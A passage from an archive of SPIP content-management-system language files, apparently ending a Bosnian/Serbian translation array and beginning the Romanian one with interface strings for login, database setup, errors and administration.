Tamo mozete unijeti novu lozinku i ponovo se prijaviti na stranicu.
',
'pass_mot_oublie' => 'Zaboravili ste lozinku',
'pass_nouveau_enregistre' => 'Vasa nova lozinka je registrovana.',
'pass_nouveau_pass' => 'Nova lozinka',
'pass_ok' => 'OK',
'pass_oubli_mot' => 'Zaboravljena lozinka',
'pass_quitter_fenetre' => 'Napusti ovaj prozor',
'pass_rappel_login' => 'Podsjetnik: vas identifikator (login) je « @login@ ».',
'pass_recevoir_mail' => 'Primicete e-mai sa uputstvom za pronalazenje vaseg pristupa.',
'pass_retour_public' => 'Nazad na javnu stranicu',
'pass_rien_a_faire_ici' => 'Ovdje nema nista za raditi.',
'pass_vousinscrire' => 'Registrujte se na srtranicu se na stranicu',
'precedent' => 'Nazad',
'previsualisation' => 'Pegled',
'previsualiser' => 'Pokazi pregled',
// S
'squelette' => 'predlozak',
'squelette_inclus_ligne' => 'ukjucen predlozak, linija',
'squelette_ligne' => 'predlozak linija',
'stats_visites_et_popularite' => '@visites@ posjete; popularno: @popularite@',
'suivant' => 'Naprijed',
// T
'taille_ko' => '@taille@ kb',
'taille_mo' => '@taille@ Mb',
'taille_octets' => '@taille@ bit',
'texte_actualite_site_1' => 'Kada se naviknete na interfejs, kliknite na «',
'texte_actualite_site_2' => 'cjelokupni interfejs',
'texte_actualite_site_3' => '» za otveranje vise mogucnosti.',
'texte_creation_automatique_vignette' => 'Aktivirano je automatsko kreiranje vinjeta na ovoj stranici. Ako putem ovog formulara instalirate fotografije formata @gd_formats@, one ce biti popracene vinjetom maksimalne velicine @taille_preview@piksela.',
'texte_documents_associes' => 'Sljedeci dokumenti su povezani sa clankom,ali nisu direktno ukljuceni. Na osnovu izgleda javne stranice, mogu biti prikazani kao pridruzeni dokumenti',
'texte_erreur_mise_niveau_base' => 'Greska u bazi podataka tokom nadogradnje.
Fotografija <b>@fichier@</b> nije predjena (clanak @id_article@).
Obratite paznu na ovu referencu, ponovo pokusajte nadogradnju i na kraju provjerite da li se fotografije uvijek pojavljuju u clancima.', # MODIF
'texte_inc_auth_1' => 'Identifikovani ste pod loginom <b>@auth_login@</b>, ali on vise ne postoji u bazi. Pokusajte se ponovo', # MODIF
'texte_inc_auth_2' => 'prijaviti',
'texte_inc_auth_3' => ', nakon sto ste iskljucili, a zatim ponovo ukljucili vas navigator.',
'texte_inc_config' => 'Dole unesene modifikacije znatno uticu na funkcionisanje vase stranice. Preporucuje se da ne intervenisete ako niste upoznati sa SPIP sistemom. <br /><br /><b>Generalno se preporucuje intervencija webmastera ove stranice.</b>', # MODIF
'texte_inc_meta_1' => 'Sistem je naisao na gresku pri pokusaju da pise dokument <code>ecrire/data/meta_cache.php3</code>. Kao administrator stranice,',
'texte_inc_meta_2' => 'mozete provjeriti dozvolu pisanja',
'texte_inc_meta_3' => 'u direktorij <code>ecrire/data/</code>.',
'texte_statut_en_cours_redaction' => 'U toku uredjivanja',
'texte_statut_poubelle' => 'u korpi za smece',
'texte_statut_propose_evaluation' => 'predlozeno za izglasavanje',
'texte_statut_publie' => 'objavljeno',
'texte_statut_refuse' => 'odbijeno',
'titre_ajouter_mot_cle' => 'DODATI KLJUCNU RIJEC:',
'titre_cadre_raccourcis' => 'PRECICE:',
'titre_changer_couleur_interface' => 'Promijeni boju interfejsa',
'titre_image_admin_article' => 'Mozete administrirati ovaj clanak',
'titre_image_administrateur' => 'Administrator',
'titre_image_aide' => 'Pomoc sa ovim elementom',
'titre_image_auteur_supprime' => 'Autor izbrisan',
'titre_image_redacteur' => 'Urednik bez pristupa',
'titre_image_redacteur_02' => 'Urednik',
'titre_image_visiteur' => 'Posjetioc',
'titre_joindre_document' => 'PRIDRUZI DOKUMENT',
'titre_mots_cles' => 'KLJUCNE RIJECI',
'titre_probleme_technique' => 'Upozorenje: tehnicki problem (SQL server) sprijecava pristup ovom dijelu stranice. Hvala na razumijevanju.', # MODIF
'titre_publier_document' => 'OBJAVI DOKUMENT U OVOJ RUBRICI',
'titre_statistiques' => 'Statistike stranice',
'titre_titre_document' => 'Naslov dokumenta:',
'trad_reference' => '(preporuceni clanak)', # MODIF
// Z
'zbug_balise_b_aval' => ' : oznaka B kasni u petlji',
'zbug_balise_inexistante' => 'erreur @from@: la balise #@balise@ n’existe pas', # MODIF
'zbug_boucle' => 'petlja',
'zbug_boucle_recursive_undef' => 'nedefinisana rakurzivna petlja', # MODIF
'zbug_champ_hors_boucle' => 'Polje @champ@ izvan petlje',
'zbug_champ_hors_motif' => 'Polje @champ@ van oznacene petlje @motif@', # MODIF
'zbug_code' => 'kod',
'zbug_critere_inconnu' => 'nepoznat kriterij @critere@', # MODIF
'zbug_distant_interdit' => 'zabranjeni eksterni podaci', # MODIF
'zbug_doublon_table_sans_cle_primaire' => 'doublons sur une table sans clef primaire atomique', # MODIF
'zbug_doublon_table_sans_index' => 'doublons sur une table sans index', # MODIF
'zbug_erreur_boucle_double' => 'BOUCLE@id@: dupla definicija', # MODIF
'zbug_erreur_boucle_fermant' => 'BOUCLE@id@: zatvarajuca oznaka nedostaje', # MODIF
'zbug_erreur_boucle_syntaxe' => 'Pogresna sintaksa petlje', # MODIF
'zbug_erreur_execution_page' => 'greska pri izvodjenju stranice', # MODIF
'zbug_erreur_filtre' => 'Greska: nedefinisan filter <b>« @filtre@ »</b>', # MODIF
'zbug_erreur_meme_parent' => '{meme_parent} odnosi se samo na petlje (FORUMI) ili (RUBRIKE)', # MODIF
'zbug_erreur_squelette' => 'Greska sa predloskom',
'zbug_info_erreur_squelette' => 'Greska na stranici',
'zbug_inversion_ordre_inexistant' => 'inverzija nepostojecim rasporedom', # MODIF
'zbug_pagination_sans_critere' => '#PAGINATION sans critère {pagination} ou employé dans une boucle recursive', # MODIF
'zbug_parametres_inclus_incorrects' => 'Pogresni parametri ukljucivanja', # MODIF
'zbug_resultat' => 'rezultat',
'zbug_serveur_indefini' => 'nedefinisan SQL server', # MODIF
'zbug_table_inconnue' => 'Nedefinisana SQL tabela « @table@ »'
);
?>
ecrire_ro.php 0000666 00000212253 15252547432 0007250 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=ro
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'Activaţi plugin-ul',
'affichage' => 'Afişaj',
'aide_non_disponible' => 'Această parte din Help înca nu e disponibilă în această limbă',
'auteur' => 'Autor :',
'avis_acces_interdit' => 'Accesul interzis.',
'avis_article_modifie' => 'Atenţie, @nom_auteur_modif@ a lucrat la acest articol în urmă cu @date_diff@ minute',
'avis_aucun_resultat' => 'Fără rezultat.',
'avis_base_inaccessible' => 'Conexiunea la baza de date @base@ nu e posibilă.',
'avis_chemin_invalide_1' => 'Calea pe care aţi ales-o',
'avis_chemin_invalide_2' => ' nu pare a fi valabilă. Vă rugăm să reveniţi la pagina anterioară pentru a verifica informaţiile furnizate.',
'avis_connexion_echec_1' => 'Conexiunea la baza de date a eşuat.',
'avis_connexion_echec_2' => 'Reveniţi la pagina anterioară şi verificaţi datele completate.',
'avis_connexion_echec_3' => '<b>Nota Bene</b> Pe multe servere, trebuie să <b>cereţi</b> activarea accesului la baza de date inainte de a o putea utiliza. Dacă nu reuşiţi să vă conectaţi, verificaţi că aţi efectuat această operaţie.',
'avis_connexion_ldap_echec_1' => 'Conexiunea la serverul LDAP a eşuat.',
'avis_connexion_ldap_echec_2' => 'Reveniţi la pagina anterioară şi verificaţi datele completate.',
'avis_connexion_ldap_echec_3' => 'Ca alternativă, importaţi utilizatorii fără să folosiţi suportul LDAP.',
'avis_deplacement_rubrique' => 'Atenţie! În această rubrică se găsesc @contient_breves@ ştiri@scb@: dacă o deplasaţi, bifaţi această casetă de confirmare.',
'avis_destinataire_obligatoire' => 'Trebuie sa indicaţi un destinatar înainte de a trimite mesajul',
'avis_erreur_connexion_mysql' => 'Eroare de conexiune SQL',
'avis_erreur_version_archive' => 'Atenţie! Fişierul @archive@ corespunde unei alte versiuni de SPIP faţă de cea pe care aţi instalat-o. Veţi întâmpina dificultăţi serioase: risc de distrugere a bazei de date, defecte în funcţionarea site-ului, ş.a.m.d. Nu validaţi importarea. Pentru informaţii suplimentare, consultaţi <a href="@spipnet@"> documentaţia SPIP.</a>.',
'avis_espace_interdit' => '<b>Spaţiu interzis</b><div>SPIP este déjà instalat</div>.',
'avis_lecture_noms_bases_1' => 'Programul de instalare nu a putut citi numele bazelor de date instalate.',
'avis_lecture_noms_bases_2' => 'Fie nici o bază de date nu este disponibilă, fie funcţia de listare a bazelor de date a fost dezactivată pentru motive de securitate (cei mai mulţi furnizori procedează astfel).',
'avis_lecture_noms_bases_3' => 'Cu cea de-a doua alternativă, este probabil că o bază de date cu un nume la fel ca login-ul dumneavoastră este disponibilă :',
'avis_non_acces_message' => 'Nu aveţi acces la acest mesaj.',
'avis_non_acces_page' => 'Nu aveţi acces la această pagină.',
'avis_operation_echec' => 'Operaţia a eşuat.',
'avis_operation_impossible' => 'Operaţie imposibilă',
'avis_probleme_archive' => 'Problemă la citirea fişierului @archive@',
'avis_suppression_base' => 'ATENŢIE, suprimarea datelor este ireversibilă',
'avis_version_mysql' => 'Server-ul dumneavoastră SQL (@version_mysql@) nu permite repararea automată a tabelelor din baza de date.',
// B
'bouton_acces_ldap' => 'Adăugaţi accesul la LDAP',
'bouton_ajouter' => 'Adăugaţi',
'bouton_ajouter_participant' => 'ADĂUGAŢI UN PARTICIPANT :',
'bouton_annonce' => 'ANUNŢ',
'bouton_annuler' => 'Anulaţi',
'bouton_checkbox_envoi_message' => 'posibilitate de trimitere mesaj',
'bouton_checkbox_indiquer_site' => 'indicare obligatorie a unui site Web',
'bouton_checkbox_signature_unique_email' => 'o singură semnătura pe adresă email',
'bouton_checkbox_signature_unique_site' => 'o singură semnătură pe site Web',
'bouton_demande_publication' => 'Cereţi publicarea articolului',
'bouton_desactive_tout' => 'Dezactivaţi totul',
'bouton_desinstaller' => 'Dezinstalaţi',
'bouton_effacer_index' => 'Ştergeţi indecşii',
'bouton_effacer_tout' => 'Ştergeţi TOTUL',
'bouton_envoi_message_02' => 'TRIMITEŢI UN MESAJ',
'bouton_envoyer_message' => 'Mesajul definitiv: trimiteţi',
'bouton_fermer' => 'Închideţi',
'bouton_mettre_a_jour_base' => 'Aduceţi la zi baza de date',
'bouton_modifier' => 'Modificaţi',
'bouton_pense_bete' => 'CIORNĂ PENTRU UZ PERSONAL',
'bouton_radio_activer_messagerie' => 'Activaţi mesageria internă',
'bouton_radio_activer_messagerie_interne' => 'Activaţi mesageria internă',
'bouton_radio_activer_petition' => 'Activaţi petiţia',
'bouton_radio_afficher' => 'Afişaţi',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Apariţie în lista redactorilor conectaţi',
'bouton_radio_desactiver_messagerie' => 'Dezactivaţi mesageria',
'bouton_radio_envoi_annonces_adresse' => 'Trimiteţi anunţurile la adresa :',
'bouton_radio_envoi_liste_nouveautes' => 'Trimiteţi lista de noutăţi',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Nu apăreţi în lista redactorilor',
'bouton_radio_non_envoi_annonces_editoriales' => 'Nu trimiteţi anunţuri editoriale',
'bouton_radio_pas_petition' => 'Fără petiţie',
'bouton_radio_petition_activee' => 'Petiţie activată',
'bouton_radio_supprimer_petition' => 'Ştergeţi petiţia',
'bouton_redirection' => 'REDIRIJARE',
'bouton_relancer_installation' => 'Relansaţi instalarea',
'bouton_suivant' => 'Următorul',
'bouton_tenter_recuperation' => 'Încercaţi o reparare',
'bouton_test_proxy' => 'Încercaţi proxy-ul',
'bouton_vider_cache' => 'Goliţi memoria tampon',
'bouton_voir_message' => 'Vedeţi mesajul înainte să-l validaţi',
// C
'cache_mode_compresse' => 'Fişierele de tampon sunt înregistrate în mod comprimat.',
'cache_mode_non_compresse' => 'Fişierele de tampon sunt înregistrate în mod necomprimat.',
'cache_modifiable_webmestre' => 'Acest parametru est modificabil de către webmaster-ul acestui site.',
'calendrier_synchro' => 'Dacă folosiţi un soft de agendă compatibil <b>iCal</b>, puteţi să-l sincronizaţi cu informaţiile de pe site.',
'config_activer_champs' => 'Activaţi câmpurile următoare',
'config_choix_base_sup' => 'indicaţi o bază pe acest server',
'config_erreur_base_sup' => 'SPIP nu are acces la lista bazelor de date disponibile',
'config_info_base_sup' => 'Dacă aveţi alte baze de date pe care doriţi să le interogaţi cu ajutorul SPIP, prin server-ul său SQL sau un altul, formularul de mai jos vă permite să le declaraţi. Dacă veţi lăsa anumite câmpuri goale, identificarea utilizată pentru baza de date principală vor fi folosiţi în mod automat.',
'config_info_base_sup_disponibles' => 'Baze de date suplimentare care pot fi deja interogabile:',
'config_info_enregistree' => 'Noua configuraţie a fost înregistrată',
'config_info_logos' => 'Fiecare element al site-ului poate avea atât un logo, cât şi un « logo de survol »',
'config_info_logos_utiliser' => 'Utilizaţi logo-urile',
'config_info_logos_utiliser_non' => 'Nu utilizaţi logo-urile',
'config_info_logos_utiliser_survol' => 'Utilizaţi logo-urile de survol',
'config_info_logos_utiliser_survol_non' => 'Nu utilizaţi logo-urile de survol',
'config_info_redirection' => 'Prin activarea acestei opţiuni, veţi putea crea articole virtuale, simple referinţe către articole publicate pe alte site-uri sau în afara sistemului SPIP.',
'config_redirection' => 'Articole virtuale',
'config_titre_base_sup' => 'Declararea unei baze de date suplimentare',
'config_titre_base_sup_choix' => 'Alegeţi o bază de date suplimentară',
'connexion_ldap' => 'Conexiune :',
'copier_en_local' => 'Copiaţi în local',
// D
'date_mot_heures' => 'ore',
// E
'ecran_securite' => ' + ecran de securitate @version@',
'email' => 'email',
'email_2' => 'email :',
'en_savoir_plus' => 'Vreau să ştiu mai multe',
'entree_adresse_annuaire' => 'Adresa anuarului',
'entree_adresse_email' => 'Adresa dumneavoastră de email',
'entree_base_donnee_1' => 'Adresa bazei de date',
'entree_base_donnee_2' => '(Deseori această adresă corespunde cu cea a site-ului dumneavoastră, câteodata ea corespunde menţiunii «localhost», iar câteodată este lăsată complet goală.)',
'entree_biographie' => 'O scurta biografie în câteva cuvinte.',
'entree_chemin_acces' => '<b>Introduceţi</b> calea de acces :',
'entree_cle_pgp' => 'Cheia dumneavoastră PGP',
'entree_contenu_rubrique' => '(Conţinutul rubricii în câteva cuvinte.)',
'entree_identifiants_connexion' => 'Identificatorii dumneavoastră de acces...',
'entree_informations_connexion_ldap' => 'Vă rugăm să furnizaţi în acest formular informaţiile de conectare la anuarul LDAP.
Aceste informaţii ar trebui să poată fi furnizate de către administratorul dumneavoastră de sistem sau reţea.',
'entree_infos_perso' => 'Cine sunteţi dumneavoastra ?',
'entree_interieur_rubrique' => 'În interiorul rubricii :',
'entree_liens_sites' => '<b>Legătură hipertext</b> (referinţă, site de vizitat...)',
'entree_login' => 'Login-ul dumneavoastră',
'entree_login_connexion_1' => 'Login-ul de conectare',
'entree_login_connexion_2' => '(Corespunde câteodată cu login-ul de acces FTP; uneori este lăsat gol)',
'entree_login_ldap' => 'Login iniţial LDAP',
'entree_mot_passe' => 'Parola dumneavoatră',
'entree_mot_passe_1' => 'Parola conexiunii',
'entree_mot_passe_2' => '(Corespunde câteodată cu parola de acces FTP; uneori este vidă)',
'entree_nom_fichier' => 'Vă rugăm să introduceţi numele fişierului @texte_compresse@:',
'entree_nom_pseudo' => 'Numele sau pseudonimul dumneavoastră',
'entree_nom_pseudo_1' => '(Numele sau pseudonimul dumneavoastră)',
'entree_nom_site' => 'Numele site-ului dumneavoastră',
'entree_nouveau_passe' => 'Noua parolă',
'entree_passe_ldap' => 'Parola',
'entree_port_annuaire' => 'Numărul de port al anuarului',
'entree_signature' => 'Semnatură',
'entree_titre_obligatoire' => '<b>Titlu</b> [Obligatoriu]<br />',
'entree_url' => 'Adresa (URL) site-ului dumneavoastră',
'erreur_connect_deja_existant' => 'Un server cu acest nume există deja',
'erreur_nom_connect_incorrect' => 'Acest nume de server nu este autorizat',
'erreur_plugin_desinstalation_echouee' => 'Dezinstalarea plugin-ului a eşuat. Puteţi totuşi să îl dezactivaţi.', # MODIF
'erreur_plugin_fichier_absent' => 'Fişier lipsă',
'erreur_plugin_fichier_def_absent' => 'Fişier de definiţii lipsă',
'erreur_plugin_nom_fonction_interdit' => 'Nume de funcţie interzis',
'erreur_plugin_nom_manquant' => 'Nume plugin lipsă',
'erreur_plugin_prefix_manquant' => 'Spaţiul de nume a plugin-ului nedefinit',
'erreur_plugin_tag_plugin_absent' => '<plugin> lipsă în fişierul de definiţii',
'erreur_plugin_version_manquant' => 'Versiunea plugin-ului lipsă',
// H
'htaccess_a_simuler' => 'Avertissement: la configuration de votre serveur HTTP ne tient pas compte des fichiers @htaccess@. Pour pouvoir assurer une bonne sécurité, il faut que vous modifiez cette configuration sur ce point, ou bien que les constantes @constantes@ (définissables dans le fichier mes_options.php) aient comme valeur des répertoires en dehors de @document_root@.', # MODIF
'htaccess_inoperant' => 'htaccess nu funcţionează',
// I
'ical_info1' => 'Această pagină prezintă mai multe metode pentru a rămâne în contact cu activitatea de pe acest site.',
'ical_info2' => 'Pentru mai multe detalii asupra acestor tehnici, nu ezitaţi să consultaţi <a href="@spipnet@">documentaţia SPIP</a>.',
'ical_info_calendrier' => 'Două calendare vă sunt la dispoziţie: Primul este un plan al site-ului care anunţă toate articolele publicate. Al doilea conţine atât anunţurile editoriale cât şi ultimele mesaje private : acesta vă este rezervat graţie unei chei personale pe care o puteţi modifica oricând prin simpla schimbare a parolei dumneavoastră. ',
'ical_methode_http' => 'Descărcare',
'ical_methode_webcal' => 'Sincronizare (webcal://)',
'ical_texte_js' => 'O linie de cod javascript vă permite să afişaţi de o manieră simplă, pe orice site care vă aparţine, articolele recente publicate pe aceste site.',
'ical_texte_prive' => 'Acest calendar, pentru o folosire strict personală, vă informează despre activitatea editorială a acestui site (sarcini şi întâlniri personale, articole şi ştiri propuse spre publicare...)',
'ical_texte_public' => 'Acest calendar vă permite să urmăriţi activitatea publică a acestui site (articole şi ştiri publicate).',
'ical_texte_rss' => 'Puteţi sindicaliza noutăţile acestui site în orice program de citire fişiere în format XML/RSS (Rich Site Summary). Acest format este acelaşi care îi permite lui SPIP să citească noutăţile publicate pe alte site-uri care folosesc un protocol de schimb compatibil (site-uri sindicalizate).',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'Lista de email-uri',
'ical_titre_rss' => 'Fişiere de sindicalizare',
'icone_accueil' => 'Prima pagină',
'icone_activer_cookie' => 'Activaţi cookie-ul de corespondenţă',
'icone_activite' => 'Activitate',
'icone_admin_plugin' => 'Gestiune plugin-uri',
'icone_administration' => 'Mentenanţă',
'icone_afficher_auteurs' => 'Afişaţi autorii',
'icone_afficher_visiteurs' => 'Afişaţi vizitatorii',
'icone_arret_discussion' => 'Nu mai participaţi la această dicuţie',
'icone_calendrier' => 'Calendar',
'icone_configuration' => 'Configurare',
'icone_creer_auteur' => 'Creaţi un nou autor şi atribuiţi-i articolul.',
'icone_creer_mot_cle' => 'Creaţi un nou cuvânt-cheie şi legaţi-l de acest articol.',
'icone_creer_mot_cle_rubrique' => 'Creaţi un nou cuvânt-cheie şi legaţi-l de această rubrică',
'icone_creer_mot_cle_site' => 'Creaţi un nou cuvânt-cheie şi legaţi-l de acest site',
'icone_creer_rubrique_2' => 'Creaţi o nouă rubrică',
'icone_edition' => 'Editare',
'icone_envoyer_message' => 'Trimiteţi acest mesaj',
'icone_ma_langue' => 'Limba mea',
'icone_mes_infos' => 'Informaţiile mele',
'icone_mes_preferences' => 'Preferinţele mele',
'icone_modifier_article' => 'Modificaţi acest articol',
'icone_modifier_message' => 'Modificaţi acest mesaj',
'icone_modifier_rubrique' => 'Modificaţi această rubrică',
'icone_publication' => 'Publicare',
'icone_relancer_signataire' => 'Relansaţi semnatarul',
'icone_retour' => 'Înapoi',
'icone_retour_article' => 'Înapoi la articol',
'icone_squelette' => 'Schelete',
'icone_suivi_publication' => 'Urmărirea publicării',
'icone_supprimer_cookie' => 'Ştergeţi cookie-ul de corespondenţă',
'icone_supprimer_rubrique' => 'Ştergeţi această rubrică',
'icone_supprimer_signature' => 'Ştergeţi această semnătură',
'icone_valider_signature' => 'Validaţi această semnătură',
'image_administrer_rubrique' => 'Puteţi administra această rubrică',
'info_1_article' => '1 articol',
'info_1_article_syndique' => '1 articol sindicat',
'info_1_auteur' => '1 autor',
'info_1_message' => '1 mesaj',
'info_1_mot_cle' => '1 cuvânt-cheie',
'info_1_rubrique' => '1 rubrică',
'info_1_site' => '1 site',
'info_1_visiteur' => '1 vizitator',
'info_activer_cookie' => 'Puteţi să activaţi un <b>cookie de corespondenţă</b>, ceea ce vă va
permite să treceţi cu uşurinţă de la site-ul public la site-ul privat.',
'info_admin_etre_webmestre' => 'Daţi-mi drepturi de webmaster',
'info_admin_gere_rubriques' => 'Acest administrator gestionează rubricile următoare :',
'info_admin_gere_toutes_rubriques' => 'Acest administrator gestionează <b>toate rubricile</b>.', # MODIF
'info_admin_je_suis_webmestre' => 'Sunt <b>webmaster</b>',
'info_admin_statuer_webmestre' => 'Daţi acestui administrator drepturi de webmaster',
'info_admin_webmestre' => 'Acest administrator este <b>webmaster</b>',
'info_administrateur' => 'Administrator',
'info_administrateur_1' => 'Administrator',
'info_administrateur_2' => 'al site-ului (<i>utilizaţi cu prudenţă</i>)',
'info_administrateur_site_01' => 'Dacă sunteţi administrator al site-ului, vă rugăm',
'info_administrateur_site_02' => ' să faceţi click pe această legatură',
'info_administrateurs' => 'Administratori',
'info_administrer_rubrique' => 'Puteţi administra această rubrică',
'info_adresse' => 'la adresa :',
'info_adresse_url' => 'Adresa (URL) a site-ului public',
'info_afficher_visites' => 'Afişează vizitele pentru :',
'info_aide_en_ligne' => 'Ajutor SPIP în linie',
'info_ajout_image' => 'Când adăugaţi imagini ca documente ataşate unui articol, SPIP poate crea pentru dvs. viniéte ale imaginilor introduse. Aceasta permite de exemplu crearea automată a unei galerii sau a unui portofoliu.',
'info_ajout_participant' => 'Participantul următor a fost adăugat :',
'info_ajouter_rubrique' => 'Adăugaţi o altă rubrică de administrat :',
'info_annonce_nouveautes' => 'Anunţul noutăţilor',
'info_anterieur' => 'anterior',
'info_article' => 'articol',
'info_article_2' => 'articole',
'info_article_a_paraitre' => 'Articolele post-datate care urmează să fie publicate',
'info_articles_02' => 'articole',
'info_articles_2' => 'Articole',
'info_articles_auteur' => 'Articole de acelaşi autor',
'info_articles_miens' => 'Articolele mele',
'info_articles_tous' => 'Toate articolele',
'info_articles_trouves' => 'Articole găsite',
'info_articles_trouves_dans_texte' => 'Articole găsite (în text)',
'info_attente_validation' => 'Articolele dumneavoastră în curs de validare',
'info_aucun_article' => 'Nici un articol',
'info_aucun_article_syndique' => 'Nici un articol sindicalizat',
'info_aucun_auteur' => 'Nici un autor',
'info_aucun_message' => 'Nici un mesaj',
'info_aucun_rubrique' => 'Nici o rubrică',
'info_aucun_site' => 'Nici un site',
'info_aucun_visiteur' => 'Nici un vizitator',
'info_aujourdhui' => 'astăzi :',
'info_auteur_message' => 'AUTORUL MESAJULUI :',
'info_auteurs' => 'Autorii',
'info_auteurs_par_tri' => 'Autori @partri@',
'info_auteurs_trouves' => 'Autori găsiţi',
'info_authentification_externe' => 'Autentificare externă',
'info_avertissement' => 'Avertisment',
'info_barre_outils' => 'cu toolbar-ul său ?',
'info_base_installee' => 'Structura bazei dumneavoastră de date a fost instalată.',
'info_chapeau' => 'Introducere',
'info_chapeau_2' => 'Introducere :',
'info_chemin_acces_1' => 'Opţiuni: <b>Calea de acces în anuar</b>',
'info_chemin_acces_2' => 'Trebuie ca acum să configuraţi calea de acces la informaţiile din anuar. Această informaţie este indispensabilă pentru lectura profilului utilizatorilor memoraţi în anuar.',
'info_chemin_acces_annuaire' => 'Opţiuni: <b>Calea de acces în anuar</b>',
'info_choix_base' => 'Cea de-a treia etapă :',
'info_classement_1' => 'pe @liste@',
'info_classement_2' => 'pe @liste@',
'info_code_acces' => 'Nu uitaţi propriile dumeavoastră coduri de acces !',
'info_compatibilite_html' => 'Normă HTML de urmat',
'info_compresseur_gzip' => '<b>N. B. :</b> Este recomandabil să verificaţi în prealabil dacă server-ul comprimă în mod sistematic scripturile php ; pentru a face acest test, puteţi să folosiţi de exemplu serviciul următor : @testgzip@', # MODIF
'info_compresseur_texte' => 'Dacă server-ul dumneavoastră nu comprimă în mod automat paginile html când acestea sunt trimise pe internet, puteţi încerca să forţaţi această compresie pentru a diminua mărimea paginilor încărcate. <b>Atenţie</b> : această operaţie poate încetini considerabil anumite servere.',
'info_config_suivi' => 'Dacă această adresă corespunde unei liste de email-uri, puteţi indica mai jos adresa la care participanţii la site se pot înscrie. Această adresă poate fi un URL (de exemplu adresa paginii de însriere la listă pe Web) sau o adresă de email dotată cu un subiect specific (de exemplu: <tt>@adresse_suivi@?subject=subscribe</tt>):',
'info_config_suivi_explication' => 'Puteţi să vă abonaţi la lista de email-uri a acestui site. Veţi primi ca urmare anunţuri de ştiri sau articole propuse spre publicare.',
'info_confirmer_passe' => 'Confirmaţi această nouă parolă :',
'info_conflit_edition_avis_non_sauvegarde' => 'Atenţie, câmpurile următoare au fost modificate în altă parte. Modificările dumneavoastră asupra acestor câmpuri nu au fost, aşadar, înregistrate.',
'info_conflit_edition_differences' => 'Diferenţe :',
'info_conflit_edition_version_enregistree' => 'Versiunea înregistrată :',
'info_conflit_edition_votre_version' => 'Versiunea dumneavoastră :',
'info_connexion_base' => 'Încercarea conexiunii la baza de date',
'info_connexion_base_donnee' => 'Conexiunea la baza dumneavoastră de date',
'info_connexion_ldap_ok' => 'Conexiunea LDAP a reuşit.</b><p>Puteţi trece la etapa următoare.<p/>', # MODIF
'info_connexion_mysql' => 'Conexiunea dumneavoastră SQL',
'info_connexion_ok' => 'Conexiunea a reuşit.',
'info_contact' => 'Contact',
'info_contenu_articles' => 'Conţinutul articolelor',
'info_creation_paragraphe' => '(Pentru a crea paragrafe, lăsaţi pur şi simplu liniile goale.)', # MODIF
'info_creation_rubrique' => 'Înainte de a putea scrie articole,<br /> trebuie să creaţi cel puţin o rubrică.<br />',
'info_creation_tables' => 'Crearea tabelelor bazei de date',
'info_creer_base' => '<b>Creaţi</b> o nouă baze de date :',
'info_dans_rubrique' => 'În rubrica :',
'info_date_publication_anterieure' => 'Data redactării anterioare :',
'info_date_referencement' => 'DATA DE REFERENŢIERE A ACESTUI SITE :',
'info_derniere_etape' => 'Gata !',
'info_derniers_articles_publies' => 'Articolele dumneavoastră publicate recent',
'info_desactiver_messagerie_personnelle' => 'Puteţi să activaţi sau dezactivaţi mesageria personală pe acest site.',
'info_descriptif' => 'Descriere :',
'info_desinstaller_plugin' => 'şterge datele şi dezactivează plugin-ul',
'info_discussion_cours' => 'Discuţii în desfăşurare',
'info_ecrire_article' => 'Înainte de a putea scrie articole, trebuie să creaţi cel puţin o rubrică.<br />',
'info_email_envoi' => 'Adresa email de trimitere (opţional)',
'info_email_envoi_txt' => 'Indicaţi aici adresa care va fi folosită pentru a trimite email-uri (dacă nu furnizaţi o adresă, este adresa destinatarului care va fi folosită în mod implicit) :',
'info_email_webmestre' => 'Adresa de email a webmaster-ului (opţional)', # MODIF
'info_entrer_code_alphabet' => 'Introduceţi codul de alfabet care va fi utilizat :',
'info_envoi_email_automatique' => 'Trimitere automată de email-uri',
'info_envoyer_maintenant' => 'Trimiteţi acum',
'info_etape_suivante' => 'Treceţi la etapa următoare',
'info_etape_suivante_1' => 'Nu puteţi trece la etapa următoare.',
'info_etape_suivante_2' => 'Puteţi trece la etapa următoare.',
'info_exportation_base' => 'exportul bazei de date către @archive@',
'info_facilite_suivi_activite' => 'Pentru a uşura urmărirea activităţii editoriale a site-ului, SPIP poate trimite prin email cererile de publicare şi de validare a articolelor. De exemplu, destinatarul poate fi o listă de distribuţie a redacţiei.',
'info_fichiers_authent' => 'Fişiere de autentificare « .htpasswd »',
'info_forums_abo_invites' => 'Site-ul dumneavoastră are forum-uri cu abonament ; vizitatorii sunt, aşadar, invitaţi să se înregistreze pe site-ul public.',
'info_gauche_admin_effacer' => '<b>Această pagină este accesibilă doar responsabililor acestui site</b><br /> Ea dă acces la diverse funcţii de întreţinere tehnică. Unele dintre aceste funcţii cer un proces de autentificare specific, de exemplu să aveţi un acces FTP la site-ul Web.', # MODIF
'info_gauche_admin_tech' => '<b>Această pagină este accesibilă doar responsabililor acestui site</b><br /> Ea dă acces la diverse funcţii de întreţinere tehnică. Unele dintre aceste funcţii cer un proces de autentificare specific, de exemplu să aveţi un acces FTP la site-ul Web.', # MODIF
'info_gauche_admin_vider' => '<b>Această pagină este accesibilă doar responsabililor acestui site</b><br /> Ea dă acces la diverse funcţii de întreţinere tehnică. Unele dintre aceste funcţii cer un proces de autentificare specific, de exemplu să aveţi un acces FTP la site-ul Web.', # MODIF
'info_gauche_auteurs' => 'Găsiţi aici toţi autorii acestui site.
Starea lor este indicată prin codul de culori al iconiţei asociate (administrator = verde; redactor = galben).',
'info_gauche_auteurs_exterieurs' => 'Autorii existenţi, fără acces la site, sunt indicaţi cu ajutorul unei iconiţe albastre ;
iar autorii şterşi - printr-o iconiţă ce simbolizează un coş de gunoi.', # MODIF
'info_gauche_messagerie' => 'Mesageria vă permite să schimbaţi mesaje între redactori, să conservaţi ciorne (pentru folosul dumneavoastră personal) sau pentru a afişa anunţuri pe pagina de gardă a spaţiului privat (dacă sunteţi administrator).',
'info_gauche_numero_auteur' => 'AUTORUL NUMĂRUL',
